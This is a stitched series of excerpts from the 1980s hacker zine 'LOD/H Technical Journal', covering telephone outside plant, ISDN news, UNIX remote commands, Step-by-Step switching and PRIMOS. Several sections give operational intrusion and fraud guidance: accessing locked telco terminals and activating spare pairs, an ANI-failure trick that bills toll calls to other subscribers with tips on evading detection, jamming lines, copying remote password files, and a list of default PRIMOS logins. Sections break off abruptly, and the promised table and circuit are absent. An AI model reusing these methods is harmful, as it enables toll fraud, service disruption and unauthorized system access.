you make will show up on the bill for +that line. A do-it-yourself spare pair activation can avoid this problem, if +done correctly. + + ******************** + +End of First half, attach second half here. + +The LOD/H Technical Journal: File #9 of 12 + + *** Second half of The Outside Loop Distribution Plant starts here. *** + + +-------------------------------- +Cable Facility F2 - Distribution +-------------------------------- + + The F2 distribution cable is the cable which originates from the F1 +feeder in the SAI and distributes individual cable pairs to each subscriber. +This cable can be one of two types: aerial or buried. The most common is the +aerial distribution cable, although buried cable is the modern trend. In the +case of aerial F2, the cable or cables leave the SAI underground, and at the +first telephone pole on the distribution span, the cable is routed up the pole. +It then is suspended on the span, such as down a street, and at each group of +houses there is a terminal on the span. This terminal is the aerial drop split- +ter, and it's purpose is to break off several pairs from the distribution cable +in order to distribute them (in the form of aerial drop wires) to each house or +premise. The location or address of the premise nearest this aerial drop +splitter is the TErminal Address of the F2 serving a certain pair (each group +of pairs in the F2 will have it's own terminal address, unlike the one address +for the F1 terminal (SAI)). The F2 cable is always the lowest cable on the +telephone pole, and it is usually a great deal larger than the electric power +distribution cables above it. Often more than one F2 can be seen on a single +pole span. In this case, the top F2 will usually be the one which is being +distributed to the subscribers on that street, and the lower (and most often +larger) cables are other F2's coming from an SAI and going to the streets +which they service: These cables consist of multiple spliced spans, and they +will not have any drop wires coming off them (they are marked every few poles +or so at a splicing point called a "bullet closure" which is fully enclosed +and can be quite large (ie. 6" dia, 20" long) as compared to the normal drop +splitters (ie. or similar 4"w x 5"h x 12"l) -- these closures are clamp press- +urized and are not meant to be opened unless the cable is being replaced or +splicing work is being done. They are not standard cable/pair access points). + Buried F2 plant is similar to aerial, except that the cable is not +visible because it is underground. Instead of going to a pole from the SAI, +the cable continues underground. The drop wires are also underground, and the +method of breaking them from the distribution cable is similar to that of the +aerial drop splitter, except it is a small pedestal or box located on the +ground near the houses it serves. This address closest to this pedestal is +the TEA for the F2. + +F2 Cable Numbering +------------------ + + The F2 distribution cable is usually given a 4 or 5 digit number, +depending on the office. The first 2 or 3 digits should be the number of +the F1 that the F2 was branched off of, and the last 2 or 3 digits identify +the distribution cable. Example- + + F1 Cable F2 Cable + 25 2531 + This F2 cable came from feeder #25^^ + + The cable >pair< numbers may be set in a similar way, with the last 3 +or 4 digits identifying the pair, and the first digit (usually a 1) identifying +the pair as a feeder or a distribution pair. Example - + + F1 Cable Pair F2 Cable Pair + 25 1748 2531 748 + ^--signifies F1 (feeder) cable pair + + Generally, the F1 cable pairs are numbered higher than the F2 cable +pairs, due to the fact that a feeder cable may contain several distribution +cables' worth of cable pairs. Note once again that all of this numbering +plan is the STANDARD, and it may be far from real life! As soon as one dist- +ribution pair is replaced, crossed over to another feeder pair, or taken from +service, the set order is interrupted. In real life, it is most always nece- +ssary to get both F1 and F2 cable assignment data. + + + ******************** + +-------------------------------------------- +Facilities F3-F5, Rural Area Interface (RAI) +-------------------------------------------- + + Although cable facilities F3, F4, and F5 may be specified in any loop +plant, they are rarely seen anywhere except in rural areas under the RAND +plan (Rural Area Network Design). Basically, plants using these extra +facilities are similar to F1/F2 plants, except there are extra cable spans +and/or terminals in the path. When locating cables, the highest numbered +facility will be at the end of the path, terminating near the subscriber's end +(like a "normal" F2), and the lowest numbered facility will be the feeder from +the CO (like a "normal" F1). The extra spans will be somewhere in between, +like an intermediate feeder or extra distribution cable with separate cable +access terminals. One such facility is the Rural Area Interface (RAI), which +can be used in a "feeder-in, feeder-out" arrangement. This is usually seen on +cable routes of 50 pairs or greater, with a length of longer than 30 kft +(about 6 miles). In this case, there will be two terminal cabinets in the +feeder path, labelled RAI-A and RAI-B. The RAI-A is special because it has a +two-part terminal block: the top has switching panels with 108-type connectors +which cross-connect feeder-in and feeder-out pairs using jumper plugs, and the +bottom has standard 76-type binding posts which cross-connect feeders to +distribution cables for subscribers in the local area of the RAI-A. The jumper +plugs can only be connected in one way to the switching panels, so random +cross-connection of feeder-in/feeder-out pairs is prevented. In this way, the +cable and pair numbers stay the same as if the feeder cable was uninterrupted. +This is used a lot in rural areas; it allows part of a feeder group to be split +off at the RAI-A like a distribution cable near a town along the route, and +the rest of the feeder group continues on to a town further away, to the RAI-B +where it is terminated as in a "normal" SAI. In order to access a pair, just +use the last RAI in the span (whichever it is) and treat it just like an SAI. +If the pair terminates at RAI-B, you can also access it at RAI-A! (if you +can locate the pair using color code, BP number, or (ughh) ANI, there should +be test terminals on top of the jumper plugs connecting the 108's on the +switching panel where you can hook your test set -- you can't hook onto a raw +108 connector very easily). Anyway, the RAI terminal is usually a ground +pedestal with a cabinet such as a 40-type, but it can be aerial mounted on a +pole (hard to access). + +Pair-Gain, Carried Derived Feeder +--------------------------------- + + Another common facility in rural areas (and in cities or suburbs, es- +pecially near large housing complexes, etc.) is the pair-gain system. It is +basically a system which consists of a digital link which is distributed, +almost like a normal cable pair, out to a terminal cabinet called a Remote +Terminal (RT) which contains equipment which demultiplexes the digital line +into many "normal" metallic analog telephone lines which go to each subscriber +in the area. Because the digital line can transmit the audio from several +separate lines and multiplex them onto one cable, only one special cable +pair is needed to come from the CO as a feeder, instead of several separate +ones; this is why it is called a "pair gain" system. The remote terminal (RT) +contains both the demultiplexing electronics as well as a small "SAI" type +terminal block for connecting the pairs to distribution cables on the side +of the path toward the subscriber. Because the "feeder" is not a multipair +cable but a digital link (ie. T-carrier), this arrangement is known as a +"carrier-derived feeder." The SAI part of the RT is used just like a normal +SAI on the distribution side (BLUE), but the feeder side will be slightly +different. Carrier-derived feeders are always marked with YELLOW labels, and +their pairs will be crossed over to distribution cables just like in an SAI. +So, in order to access a pair in a system like this, you must do so on the +DISTRIBUTION side, because you can't hook an analog test set to a 1.544 Mbps +digital T-carrier line! (or worse yet, a fiber optic cable). This may be +difficult, because these cabinets are always locked (with few exceptions), so +you'll have to find a terminal closer to the subscriber -- also be aware that +many RT's are equipped with silent intrusion alarms. Anyway, some common +pair-gain systems are the Western Electric SLC-8, 40, 96, and GTE's MXU, +ranging in size from 8 to over 96 lines. RT cabinets can often be identified +by the ventillation grilles (with or without a fan inside) which are not +present on SAI's or other non-RT cabinets. + + ******************** + +----------------------------------- +Aerial Distribution Splice Closure, + Drop Wire Splitter +----------------------------------- + + This terminal is the point where the individual cable pair for a +certain subscriber is split from the F2 distribution cable and spliced onto +an aerial drop or "messenger" wire which goes to the subscriber's premises. +In an aerial distribution plant, 2 types of this terminal are common: + +1> Western Electric 49-type Ready Access Closure / Cable Terminal + +2> Western Electric 53A4, N-type Pole Mount Cable Terminals + + ---------- + +Type 1> The 49-type, 1A1, 1B1, and 1C1 closures are all functionally similar. + This terminal is a semi-rectangular closure, about 15"L x 3"W x 5"H, + usually black, which is connected directly to the aerial cable itself; + it is coaxial with the cable, so the cable passes straight through it. + It splits up to 12 pairs from the distribution cable to a small bin- + ding post terminal block inside the closure. Aerial drop wires are + then connected to these binding posts, and the wires exit the term- + inal through holes on the bottom. These wires are strung via strain + relief clamps on the pole down to the subscriber's site. The terminal + closure is opened by pulling out and lifting either the whole cover + or the front panel after removing the cover fasteners on the bottom + and/or the sides (the closure is a thick neoprene cover over an alum- + inum frame). Inside the case, there is a terminal block and there + may be some sort of loading coil as well. The cable and this coil are + not openable, but the terminal block is. Since the F2 pair terminates + in this closure, the F2 BP number (cable/assignment data) corresponds + to a binding post on this terminal block. As mentioned earlier, this + terminal will also contain spare pairs, in case a subscriber wants + another line. In order to use one of these pairs, you must either get + an F2 (and then F1) CP number from LAC using the BP, or you can put a + trace tone on the pair at the aerial closure and then locate the pair + at the SAI. Then a cross-connect would have to be made to an active + F1 pair, and a drop wire (ughh) would have to be added back at the + aerial closure. Anyway, both the binding posts as well as the holes + (inside + out) are numbered left to right, so you may not even have + to open the closure if you are just looking for an F2 BP number -- + just trace the drop wire from the house into the numbered hole on the + closure. The TErminal Address for the F2 is the address of the house + or premise closest to the pole near this closure. These terminals + (esp. 1A1, etc) are also used for straight and branch splices for + aerial cables, so you may see one cable in / two out; also, the + closure can be used for splicing only, so there may not be drop wires + (in this case, it wont be listed in LMOS because it is not a terminal + point). There is generally one of these every pole near a quad of + houses or so, mounted on the cable about an arm's length from the + pole. + +Type 2> Both the 53A4 and the N-type terminals serve the same function as + the 49-type just described, except they are used in situations where + there are more than 4 houses (8 lines, including provisional pairs). + This terminal is mounted directly on the pole, about a foot down from + the aerial cable. It is not connected in line with the cable, so + there is no F2 splicing area in the cabinet (rather, a cable stub + comes from the terminal block and is spliced onto the span close to + where it touches the pole). It is about 22"H x 9"W x 4"D, rectan- + gular, and silver (unpainted). The door is similar to that of a 40- + type cabinet, but it's much smaller; it is opened using a 7/16" tool + in the same manner as before, except that the door must be lifted + before it can be opened or closed. In this way, the door slides down + on it's hinges when opened, so it locks in the open position and you + wont have to worry about it (especially nice because hanging onto a + pole is enough of a problem). The terminal block can handle from 25 + to 50 pairs, with 32 holes in the back for aerial drop wires. Just + as in the Ready Access Closure, this is the F2 terminal, and the + numbered binding posts and holes correspond to F2 BP numbers. The + TEA will be the address nearest the terminal (just as before). This + terminal is common at the first pole on a street, on cul-de-sacs, + apartments, marinas & harbors, or anywhere there are many drop wires. + +Buried Distribution Cross Box and Other Pedestals +------------------------------------------------- + + This terminal serves the same function as the aerial closures, except +it is used in areas with a buried distribution plant. This cable assignment +for this terminal will be the F2 terminal, and the BP numbers and TEA will +be the same as for the aerial terminals. Probably the most common cross-boxes +are the PC4,6, and 12; these are around 50" tall by 4, 6, or 12" square respec- +tively, and they are painted gray-green like SAI cabinets. These are the +smallest pedestals in the distribution plant, and they don't have doors (they +look like waist-high square poles). In order to open one of these pedestals, +the two bolts on either side half way down the pedestal must be loosened with +a 7/16 hex wrench; then the front cover can be lifted up, out, and off the +rest of the closure. These terminals are located generally near small groups +of houses (up to about 12 lines usually) on the ground, often near other +utility cabinets (such as electric power transformers, etc). These are +becoming more common as the new housing tracts use buried distribution plant. +The F2 cable will enter as a cable stub, and it is split into service wires +which go back underground to the subscribers. + All small pedestals are not necessarily the above type of terminal; +these pedestal closures are often used for other purposes, such as splicing +points in underground distribution, loading coil mounting, and even used as +temporary wire storage containers. If the terminal contains a terminal +block or it is a significant point on the line, however, it will be listed in +LMOS. An example of this is a distribution path found by Mark Tabas in a +Mountain Bell area -- there was a small PC12-type closure on the ground near +a street in a remote suburb, and it was serving as a terminal point for a +whole F1 cable. It was listed as the F1 terminal, and it was at the right +TEA; however, there was no terminal block because it was a splicing point +(just a bunch of pairs connected with Scotchlok plastic connectors which are +hung on a bar in the pedestal closure), so LMOS had no BP number. Instead, +a color code was listed (see appendix) for the pair in the splice. Anyway, +the WHOLE F1 went up to an N-type closure on a pole and was split into drop +wires. + +-------------------------------------- +Multi-Line Building Entrance Terminals +-------------------------------------- + + This terminal takes the aerial drop or service wires and cross-connects +them over to the Inside Wire (IW) in the subscriber's building (hotels, busi- +nesses, etc). There are many different types of terminal blocks for this +terminal, although by far the most common is the Western Electric 66 block. +The 66-type terminal uses a block of metal clips; the wire is pushed onto the +clip with a punch-down tool which also strips the wire. The block is divided +into horizontal rows which can have from 2 to over 6 clips each. Since each +row group terminates one pair, two rows are needed for x-connect, one on top of +the other. The service or drop wire usually enters on the left, and the +inside wire is connected to the far right. In order to locate a pair, usually +you can visually trace either the service wire or the inside wire to the +block, and often the inside wire side wil be numbered or labelled with an +address, phone number, etc. It is also possible for this terminal to serve +as an F2 terminal point, if there are a lot of lines. In this case, LMOS will +list the TEA usually with some physical direction as to where to find it. The +left side will then be numbered as F2 BP's. This terminal is also the demarca- +tion point which separates the customer's equipment from the telco's. The new +terminals often have an RJ-21 connector on the service wire side, such as a +25-pair for PABX or a Bell 1A2 Key, etc. There are also "maintenance termina- +ting units" (MTU) which are electronic units connected to the line(s) at the +entrance protector; these are sometimes seen in some telcos. Basically, they +provide functions such as party ANI on multi-party lines, remote disconnect +(for testing or (click!) non-payment), or half ringers (the most common -- +they prevent ringing continuity failures on switches like ESS when there are +no phones hooked to the line when it rings). MTU terminals are often locked. + +Single Pair Station Protector +----------------------------- + + There's really not much to say about this terminal. Basically, it +takes the service or drop wire and connects it to the inside wire in a single +line residence (houses with 2 lines will have 2 of these). These are at every +house on an outside wall or basement, and there are two main types: the Western +Electric 123 (with a "150-type" rubber cover), and the old WE 305 and new AT&T +200 Network interface (metal and plastic, respectively). These terminals have +one binding post pair and they will have either gas discharge tubes or carbon +blocks to protect the line from lightning or excess current. Obviously, there +is no BP number (you just have to visually trace the drop wire to find the +protector). This is also the demarcation point marking the end of the telco's +responsibility, as well as the end of our tour. + + ******************** + +Bell System Standard Color Code Use: +----------------------------------- Take the #, and find it's closest +Pair # Tip Ring multiple of 5.

This color code is also used a lot on cable ties (usually with white +stripes and ring colors only), although these are often used randomly. + +--------- +Test Sets +--------- + This is the "right hand" of both the professional and the amatuer +lineman. Basically, it is a customized portable telephone which is designed +to be hooked onto raw cable terminals in the field and used to monitor the +line, talk, or dial out. The monitor function is usually the main difference +between the "butt-in" test set and the normal phone. If you don't have a +real test set already, the following circuit can convert a normal $4 made-in- +taiwan phone into a working test set. The "all-in-one" handset units without +bases are the best (I tend to like QUIK's and GTE Flip Phone II's).

Customer +premises equipment used in the trial is still in the prototype phase, however. +No time frames for introducing commercial offerings were discussed. + + In the first of two ISDN applications demonstrated at a news conference, +Don Cline, Mountain Bell's Arizona VP and CEO, placed a five minute voice call +at the Phoenix Civic Plaza to Arizona Secretary of State Rose Mofford and +simultaneously transmitted a certificate commemorating the event. The +transmissions were handled by Northern Telecom's Meridian digital telephone +sets and workstations and passed through a Northern Telecom DMS-100 ISDN +switch as Mountain Bell's Phoenix CO. + + In the second ISDN application an NCR PC was used to access and alter a +driver's record residing on an Amdahl 5850 host in the Motor Vehicles Division +from two blocks away. + + Sending both voice and data in digital form over the same twisted-pair +telephone wiring is more reliable than analog communications and in the long +run will save a lot of money. Workstations linked over an ISDN basic interface +can be moved as easily as you can move telephones, as opposed to having to +restring coaxial cable. + +------------------------------------------------------------------------------- + +Long-awaited McDonald's ISDN trial to start in two weeks (ComputerWorld 12-1) + + During the second user-site ISDN trial, scheduled to begin Dec. 16, at +least four rival communications equipment vendors will test whether their +terminal interfaces conform closely enough to the telecommunications standard +to communicate. + + McDonalds's Corp, agreed more than two years ago to participate in the +trial, which is sponsored by Ameritech divested BOC Illinois Bell, because +the fast-food giant wanted the emerging technology for its own use. + + Slated to continue at least through early 1988, the trial ISDN network +will link a variety of workstations and hosts at McDonalds headquarters located +in Oak Brook, Ill., through a Northern Telecom DMS-100 ISDN switch residing at +Illinois Bell's CO. + + The company will start with 50 basic-rate digital subscriber lines and +gradually ramp up to a projected 300 to 400 lines by the end of 1987. The +basic interface defines two 64K bit/sec B channels and a separate 16K bit/sec +D channel to carry data packets and signaling information. + + All the products used in the trial are designed to communicate with AT&T's +5ESS switch. While the basic ISDN interface is sufficiently well defined to +permit different vendor's implementations to communicate, different vendors' +CO switch products still retain software incompatibilities. + + The way terminal adapters communicate via ISDN is still defined by the CO +switch, terminals can be modified to communicate with either AT&T's or Northern +Telecom's ISDN switch, but you can't just unplug a terminal and move it from +one switch to the other. + + Originally slated to be the first ISDN trail to begin operations, the +project was delayed for approximately a month while AT&T finished implementing +software on the 5ESS ISDN switch at Illinois Bell's CO. While the hardware used +in AT&T's ISDN switch is commercial, the software is coming slowly. + +------------------------------------------------------------------------------- + +Growth forces split in 305 area code + + Southern Bell announced that rapid growth will force them to split the 305 +area code in two, with Broward, Dade, and Monroe counties remaining 305 and +Palm Beach County to Orlando becoming 407. "If we didn't make the split we'd +literally run out of phone numbers". + + The split is slated to take place in April 1988, making 407 Florida's +fourth area code and the first new one in 23 years. + +------ + + 617 currently with 533 exchanges will be splitting off into 508 in 1988. + 303 will be split with Denver remaining 303 and 719 will cover Colorado +Springs. + +This leaves the following NPA's open: 708, 903, 908, 909, 917 +not including X10 where X is 4,6,7,8, and 9. + +------------------------------------------------------------------------------- + + Secret Service Buys Telenet Network (Communications Week) + + US Sprint Communications Corp's Telenet Communications Corp subsidiary +has signed a $35 million multiyear contract to build a private data network +for the US Secret Service. + + The contract marks Telenet's first major private network coup in the +highly competitive market of sensitive government communications. While +telenet would not reveal the extensiveness of the network or its applications, +the Secret Service acknowledges having 4,300 employees and about 100 locations +in the United States. + + Data transmission plays a significant role in the Secret Service's +mandate, which beyond guarding the president includes the investigation of +counterfeiting, securities and electronic funds transfer violations and credit +card fraud. + + Encryption or other security measures are expected to be employed in the +new system, but telenet does not provide those functions. + + In addition to its public network, Telenet has sold about 70 private +networks, about 100 hybrid networks using public and private capabilities, and +many hundreds of virtual private networks. + + It will take more than a year to complete construction. + +------------------------------------------------------------------------------- + + New Social Security Net (Communications News) + + The US Social Security Administration will install new modems and +diagnostic and control systems as part of a program to establish its Data +Communications Utility Network, which covers 1500 offices in the US. + + The new network will handle interactive Social Security claims processing. +Equipment for this phase is being provided by Racal-Milgo in an $11 million +contract. + +------------------------------------------------------------------------------- + +Allnet extends southward with big capacity purchase (Communications News) + + Through the purchase of capacity from three providers, Allnet +Communications Corporation has added 4,000 miles of fiber-optic route to its +network. + + In a $36 million deal, the company purchased capacity, in the southeastern +US from Microtel, SouthernNet and Southland FiberNet. All three are members of +the National Telecommunications Network. + +------------------------------------------------------------------------------- + +Southern Cal to link 11,000 users on net (Communications News) + + The University of Southern California is in the process of establishing a +$21.8 million University Communications Network that will link more than 11,000 +users throughout 185 buildings. + + Voice and data will be transmitted over the network, which will use an +AT&T System 85 PBX, a system of local-area networks, and an intercampus +microwave network. + + Approximately 12 miles of fiber-optic cable will be used to link 21 USC +schools. The system will include 10 Information System Networks and 504 +Starlan networks. + + The telecommunications project is scheduled for completion in March of +1988. + +------------------------------------------------------------------------------ + +Dallas to use Cell System (Communications News) + + The city of Dallas has begun a $2.9 million program to outfit personnel in +various city departments with mobile cell roaming data communications systems. +The network will consist of 545 Mobile Data International MDI 9031 mobile data +terminals with the 8020 integral data radio, 20 6000 series hand-held portable +data terminals, related base equipment and automatic zone transfer between six +calls using 11 radio frequencies with frequent re-use. + + Full roaming between the cell sites will be handled on a transparent basis +to the operator. + +------------------------------------------------------------------------------- + +Singapore in Net Upgrade (Communications News) + + The Republic of Singapore will install two digital international gateway +exchanges as part of a total network upgrade program. + + The Telecommunications Authority of Singapore and AT&T International will +provide AT&T's 5ESS digital switch.

Within I offer guidance on features of the TCP-IP +(Internet Transmission Control Protocol) architecture, such as FTP, TFTP, +TELNET, SMTP, and the UNIX Remote Execution Facilities. Before I commence, I +want to make it known that this file is not intended to be a 'why' file, but +instead a 'how to' tutorial.

The set of utilities, which I affectionately call the Remote +Execution Facilities, are usable only between resource sharing UNIX systems. +The conglomeration of remote programs can be very helpful for overtaking other +suspect targets, especially if they are part of a small network unto +themselves besides being major hosts on the Internet. + Before one sets out on the quest of conquering a system, it is wise to know +who is currently logged on: + +% rusers -l HOST + + Rusers -l alone will print out a listing for all immediate surrounding UNIX +hosts, but if a HOST is specified, only that particular computer will report. + +% rlogin HOST -l USERNAME + + If -l USERNAME is not included, the account name in use at present time +will be used as the USERNAME when attempting login to HOST. If the username +specified is present locally and on the distant machine in the file +/etc/hosts.equiv, no password is required to login. This can be compromising +to the security, a reason why the security wise will often make +/etc/hosts.equiv a null file. + Each user may optionally have a file, '.rhost', in his home directory. This +is a personal equivalent to /etc/hosts.equiv. If you are logged into an +account with such a file, no pass is required to login (via rlogin), to the +computers named. + Alike to the UUCP protocol, there is an allowance of the Remote Execution +Facilities to preform commands on a networked system: + +% rsh HOST -l USERNAME "COMMAND" + + Remote shell will permit unlimited commands to be carried out on the remote +as long as the following criteria is met: + The username, if specified (If it is not, the current local one is +used.), must be present on the foreign system and have remote execution +privileges. + Commands are effective according to the environment set in .cshrc and +.login on the host. + An example job: + +% rsh century "ps -t console" + + If the quotes are ommitted then variables like *?.,\ are taken literally. +Also, if no redirection is submitted, than output, if the command yields it, +is sent back to the issuee. + Remote Copy, a sub-command of rsh, is a command similar to uucp. It must +follow the criteria of Remote Shell plus all files qued must have public read +permissions. + +% rcp HOST:/PATH/FILE HOST:/PATH/FILE + + For example, a common call would be the password file.

The following interesting topics about Step By Step switching are for +informational and educational purposes only. This article is aimed at people +who wish to learn more about telephone switching systems. + + I realize step-by-step switching is dwindling every day, with many +electromechanical SxS offices being replaced with newer electronic/digital +switches and Remote Switching Systems (RSS's). However, rural areas of the U.S. +still use Step, so if you are ever in an area served by a SxS CO you may be +able to use this information. + + + 1:ANI Failure/ONI + To understand this technique, you must understand how ANI functions in the +Step-by-Step switching system. Your CO sends ANI, with your number, in MF or DP +to receivers that collect the ANI information and store it, along with the +called number, on the appropriate form of AMA tape. ANI outpulsing in MF can +use either LAMA (Local Automatic Message Accounting) or CAMA (Centralized +Automatic Message Accounting). ANI sent in DP type signalling can also be used, +but is rare. DP vs MF trunk signalling is similar to the difference between +DTMF and pulse dialing, except on a trunk. DP signalling sends all information +in short bursts of 2600Hz tones. + + Causing ANIF's/ONI is an easy task in SxS (and some versions of Xbar), +because the customer's link to the CO will allow the customer to input MF tones +to influence a calls completion. This can be done by dialing a long distance +number and listening to the clicks that follow. After the first click when you +are done dialing, you will hear a few more. They will be timed very close to +one another, and the last click occurs right before the called telephone rings. +The number and speed of the clicks probably varies. Basically what these clicks +are is the Toll Office that serves your CO setting up a route for your call. In +order to abuse this knowledge, you need access to a MF source, whether it be a +blue box, a computer with a good sound chip, tape recording, etc. Right before +you hear the series of clicks, send one of the following sequences in MF: + +KP+1 (Repeatedly) For Automatic Number Identification Failure (ANIF) + +-or- + +KP+2 (Repeatedly) For Operator Number Identification (ONI) + +(Note:these will not work if your CO uses DP signalling.) + +Play these tones into the phone at a sufficient volume so that they 'drown out' +the series of clicks. Do not send an ST signal, as you are not actually dialing +on a trunk. You must send these MF sequences quickly for this method to work +correctly. After you have played your 'routing' a few times, you will hear a +TSPS operator intercept your call and ask for the number you are calling FROM. +When an ANIF is recognized, the call is cut through to a TSPS site that serves +your area. Now, you can give the operator any number in your exchange and she +will enter the billing information manually, and put the call through. The toll +charges will appear on the customer who owns the number you gave. You can also +accomplish a similar feat by merely flashing the switchook during the series of +clicks. This will send DC pulses that scramble the ANI outpulsing and cause +your call to be sent to a TSPS operator before the dialed number. Be sure to +stop sending the MF 'routing' after the operator attaches or she may know that +something's up. Use this method sparingly and with caution. It would also be a +good idea not to use the same number for billing more than one time. Don't use +this method in excess, because a toll office report will list the number of ANI +failures for a specific time period. The ONI method works better because it is +assumed ONI is needed to identify a caller's DN upon a multi-party line. Too +many ANI failures will generate a report upon a security/maintenance TTY, so if +you plan on using this method, use the ONI method instead of just ANI Failure. +The basic idea behind the ANIF is to scramble your ANI information by using MF +(or the switchhook) to send your LD call to a TSPS operator for Operator Number +Identification (ONI) due to ANI Failure. The idea behind the ONI method is that +you are fooling the switch into thinking you are calling from a multi-party +line and ONI is needed to identify your DN. + + + 2:Test numbers + + Some other interesting things in the Step By Step system can be found by +dialing test numbers. Test numbers in SxS switching systems are usually hidden +in the XX99 area, as opposed to 99XX, which is common for other types of +switching systems. These types of numbers are possibly physical limitations of +a SxS switch, and thus a milliwatt tone or other test numbers will be placed +there, because a normal DN can't be assigned such a number. However, these XX99 +numbers are usually listed in COSMOS as test numbers. Another interesting note +about XX99 numbers is that they seem (at least in some offices) to be on the +same circuit. (That is, if one person calls an XX99 number and receives a test +tone, and another person calls any other XX99 number in that same prefix, the +second caller will receive a busy signal). + + Here we must examine the last four digits of a telephone number in detail. + + +XXXX=WXYZ W=Thousands digit + X=Hundreds digit + Y=Tens digit + Z=Units digit + + + Dialing your prefix followed by an XX99 may result in a busy signal test +number, a network overflow (reorder), milliwatt tones, or other type of error +messages encountered when dialing. + + Not every XX99 number is a test number, but many are. Try looking for these +in a known Step by Step office. + + The numbers that return a busy signal are the ones that incoming callers +are connected to when the Sleeve lead of the called Directory Number is in a +voltage present state, which means the line is in use or off-hook. More about +this in the next topic. + + + 3:Busy signal conferencing + + Another interesting feature of the Step-By-Step system is the way busy +tones (60 IPM) are generated. In ESS and DMS central offices, busy signals that +are sent by the terminating switch are computer generated and sound very even +and clear with no signal irregularity. In SxS, all calls to a particular DN are +sent to the same busy signal termination number, which can be reached most of +the time by a POTS number. These busy tones are not computer generated and the +voice path is not cut-off. + + You can take advantage of this and possibly have a 'busy signal conference'. +This can be achieved by having several people dial the same busy DN that is +served by a Step office, or by dialing an always-busy termination number. When +you are connected to the busy signal, you will also be able to hear anyone else +who has dialed the same busy number. Connection quality is very poor however, +so this is not a good way to communicate. + As an added bonus, answering supervision is not returned on busy numbers, +and thus the call will be toll-free for all parties involved. However, you must +be using AT&T as your inter-LATA carrier if the call to the busy number is an +inter-LATA call for you. So if your IC is US Sprint, you must first dial the +AT&T Carrier Access Code (10ATT) before the busy number. If your IC doesn't +detect answer supervision, and begins billing immediately or after a certain +amount of time, then you will be billed for the length of the call. + + + 4:Temporarily 'freezing' a line + + A SxS switching system that operates on the direct control principle is +controlled directly by what the subscriber dials. Jamming a line on SxS to +prevent service is possible by simply flashing the switchook a number of times. +Or you may find after several aborted dialing attempts, the line will freeze +until it is reset, either manually or by some time-out mechanism. Usually the +time the line is out of action is only a few minutes. The line will return a +busy signal to all callers, and the subscriber who has a 'dead' phone will not +even hear sidetone. This happens when one of the elements in the switch train +gets jammed. The switch train consists of the linefinder, which sends a dial +tone to the subscriber who lifted his telephone, and places voltage on the S +(Sleeve) lead as to mark that given DN as busy. Next in the switch train are +the selectors. The selectors are what receive the digits you dial and move +accordingly. The last step in the switch train is the connector. The connector +is what connects calls that are intraoffice, and sends calls to a Toll office +when necessary. Other types of devices can be used in the switch train, such as +Digit Absorbing Selectors, where needed. + + 5:Toll/Operator assisted dialing + + You may be able to dial 1/0+ numbers with your prefix included in some +areas. You can dial any call that you could normally reach by dialing 1+ or 0+. +For example, to dial an operator-assisted call to a number in Chicago, you +could dial NXX+0312+555+1000 where NXX is your prefix, and you would receive +the usual TSPS bong tone, and the number you dialed, 312+555+1000, would show +up on the TSPS consoles LED readout board. You can also use a 1 in place of the +0 in the above example to put the call through as a normal toll call. + + This method does not bypass any type of billing, so don't get your hopes +up high. + + The reason this works is twofold. The first reason is that the thousandths +digit in many SxS offices determines the type of call. A 0 or a 1 in place of +another number (which would represent a local call) is handled accordingly. The +other reason is due to a Digit Absorbing Selector that can be installed in some +SxS offices to 'absorb' the prefix on intraoffice calls when it is not needed +to process the call. A DAS can absorb either two or three digits, depending +on whether the CO needs any prefix digit(s) for intraoffice call completion. + + 6:Hunting prefixes + + SxS switches may also translate an improperly dialed local call and send +it to the right area over interoffice trunks. Take for instance, you need to +make a local call to 492-1000. You could dial 292-1000 and reach the exact +same number, provided that there is no 292 prefix within your local calling +area. However, only the first digit of a prefix may be modified or the call +will not go through correctly unless you happen to have dialed a valid local +prefix. You also cannot use a 1 or a 0 in place of the first prefix digit, +because the switch would interpret that as either dialing a toll or an operator +assisted call. + + + 7:Trunks + + Step by Step switching system incoming and outgoing trunks are very likely +to use In-band supervisory signalling. This means you could possibly use +numbers served by a SxS CO to blue box off of. But, some older step areas may +not use MF signalling, but DP signalling. DP signalling uses short bursts of +2600Hz to transfer information as opposed to Multi-Frequency tones. In DP +signalling, there are no KP or ST equivalents. Boxing may be accomplished from +DP trunks by sending short bursts of 2600Hz (2 bursts would be the digit 2). +Acceptable pulse rates are 7.5 to 12 pulses per second, but the normal rate is +10 pulses per second. A pulse consists of an 'on hook' (2600Hz) tone and an +off-hook (no tone). So, at 10 pulses per second, a digit might be .04 seconds +of tone and .06 seconds of silence. DP is rarely used today, but some +direct-control Step offices still use it. Common Control Step offices are much +more likely to use MF trunk signalling. + + + As said at the start of this file, some of the things mentioned here may +have no practical use, but are being exposed to the public and to those who did +not know about any one of the procedures mentioned here previously. + + + References and acknowledgements +=============================================================================== + Basic Telephone Switching Systems-By David Talley, Hayden publishers + No. 1 AMARC-Bell System Technical Journal + Mark Tabas for information about CAMA and DP, The Marauder, and Doom Prophet. +=============================================================================== + The LOD/H Technical Journal: File #4 of 10 + + Written by, + Carrier Culprit + and + The Legion Of Hackers + + This is Part I of a II part series on the PRIME + operating system.

Here is a common list of ID's and +passwords I have come across: + + =============================== + | ID name | Password | + =============================== + | PRIME | PRIME | + | *SYSTEM | SYSTEM | + | PRIMOS | PRIMOS | + | *ADMIN | ADMIN | + | RJE | RJE | + | DEMO | DEMO | + | GAMES | GAMES | + | GUEST | GUEST | + | REGIST | REGIST | + | TEST | TEST | + | NETMAN | NETMAN | + | PRIRUN | PRIRUN | + | TOOLS | TOOLS | + | CMDNC0 | CMDMNC0 | + | +TELENET | TELENET | + =============================== + Note: * means that that ID is most likely to have SYS1 priorities. + Note: + account belongs to Telenet or some employees of Telenet in which the + Primos will be located on the Telenet packet network. + +System Accounts: + +SYSTEM- This account usually contains configuration programs. It + also contains system messages, logs, and userlists. + +TOOLS- This account usually contains the utility to add users and the Netlink + utility (Explained later). + +CMDNC0- Contains help files. + + These are default accounts which are standard in new Primos systems. They +should be there unless the userfile has been modified by the system operator. + + You can also mix them around, ie- Login SYSTEM Password:PRIME +There is no "systat" or extensive on-line help before logging in. Don't you +wish people would model their operating systems after TOPS-10 (chuckle)? The +best account to get on under would be an account with SYS1 priorities. This +account is for people who advise regular users. Ok, lets assume you have +hacked onto a regular account something like games. + + The command prompt for Primos is "OK,". The first thing we would +want to do is to see who is logged in. We would type "Users" and +would get something like this: + + OK, Users + Users=8 + + This is telling us that there are 8 users currently logged in, which isn't +extremely helpful. To get a full listing of usernames we would type "Status +Users" or "Status -Users". We would get a status of users currently on-line. +It would show us usernames, devices, and other sub-categories. Here's a sample +of what you would get: + +User Number Device +ADMIN 3 +SYSTEM 1 +OBB 31 +CRIMINAL 12 + + If you see that other people are logged in, it may 